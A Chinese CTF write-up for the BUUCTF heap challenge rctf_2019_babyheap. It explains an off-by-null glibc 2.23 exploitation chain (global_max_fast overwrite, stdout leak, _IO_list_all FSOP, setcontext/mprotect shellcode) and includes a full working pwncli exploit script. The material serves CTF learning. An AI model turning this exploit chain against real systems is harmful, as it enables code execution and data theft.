[BUUCTF] rctf_2019_babyheap
rctf_2019_babyheap
总结
禁用了fastbin,同时有off by null的漏洞。做出来后发现很多人的解是用的house of storm进行任意地址申请,覆盖__free_hook后,然后利用setcontext读取到的flag。我的方法却是利用的unsortedbin attack+fastbin attack,修改了global_max_fast的值之后,利用stdout泄露出堆地址,然后劫持_IO_list_all,用FSOP利用mprotect拿的flag。为啥不用house of storm,因为写起来麻烦,而我比较喜欢偷懒~
libc映射的空间上储存了堆地址和程序地址,如果能打stdout,那么想要啥地址基本都有。
题目分析
checksec

保护全开,libc-2.23.so
seccomp

函数分析
initial

禁用了fastbin
add

这里比较坑的是限制了size,否则直接unsortbin attack之后,都不需要泄露堆地址了。
其他函数没啥特殊的,漏洞放在下面分析。
漏洞点
一个off by null的漏洞

利用思路
这里直接给利用思路:
- 使用
off by null制作三明治,然后泄露出libc地址 - 使用
stdout泄露出heap地址。当然,使用largebin、smallbin等也是可以的 unsorted bin attack修改global_max_fast- 利用
fastbin attack劫持_IO_list_all FSOP控制程序执行流
Exp
#!/usr/bin/python3
from pwncli import *
cli_script()
p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']
def add(size:int):
p.sendlineafter("Choice: \n", "1")
p.sendlineafter("Size: ", str(size))
def edit(idx:int, data:(str, bytes)):
p.sendlineafter("Choice: \n", "2")
p.sendlineafter("Index: ", str(idx))
p.sendafter("Content: ", data)
def delete(idx:int):
p.sendlineafter("Choice: \n", "3")
p.sendlineafter("Index: ", str(idx))
def show(idx:int):
p.sendlineafter("Choice: \n", "4")
p.sendlineafter("Index: ", str(idx))
return p.recvline()
add(0x80) # 0
add(0x68) # 1
add(0xf0) # 2
add(0x800) # 3
delete(0)
edit(1, flat(["a" * 0x60, 0x100]))
delete(2)
add(0x80)
msg = show(1)
libc_base_addr = u64(msg[:-1].ljust(8, b"\x00")) - 0x3c4b78
libc.address = libc_base_addr
log_address("libc_base_addr", libc_base_addr)
delete(0)
add(0xf0)
add(0xf0)
delete(0)
add(0x80)
edit(1, flat([0, libc_base_addr + 0x3c67f8 - 0x10]))
add(0x60)
delete(1)
edit(4, p64(libc.sym["_IO_2_1_stdout_"] - 0x43))
add(0x60)
add(0x68) # 5
edit(5, flat("\x00" * 0x33, 0xfbad1887, 0, 0, 0, libc.sym['__curbrk'] - 8, libc.sym['__curbrk'] + 8))
msg = p.recvn(16)
heap_base_addr = u64(msg[8:]) - 0x21000
log_address("heap_base_addr", heap_base_addr)
delete(1)
edit(4, p64(libc.sym["_IO_list_all"] - 0x23))
add(0x60)
add(0x60)
edit(6, flat(["\x00" * 0x13, heap_base_addr+0x210]))
delete(3)
add(0x800) # 3
payload = flat({
0x18:libc.sym['setcontext']+0x35,
0x28:1,
0xd8:heap_base_addr+0x210,
0xa0:heap_base_addr+0x210+0x100,
0xa8:libc.sym['mprotect'],
0x100: heap_base_addr+0x180+0x210,
0x68: heap_base_addr,
0x70: 0x3000,
0x88: 7,
0x180:asm(shellcraft.cat("/flag"))
}, filler="\x00")
edit(3, payload)
p.sendlineafter("Choice: \n", "5")
p.interactive()
泄露libc:

泄露heap:

劫持_IO_list_all:

准备ROP读取flag:

远程打:

引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/15413888.html

浙公网安备 33010602011771号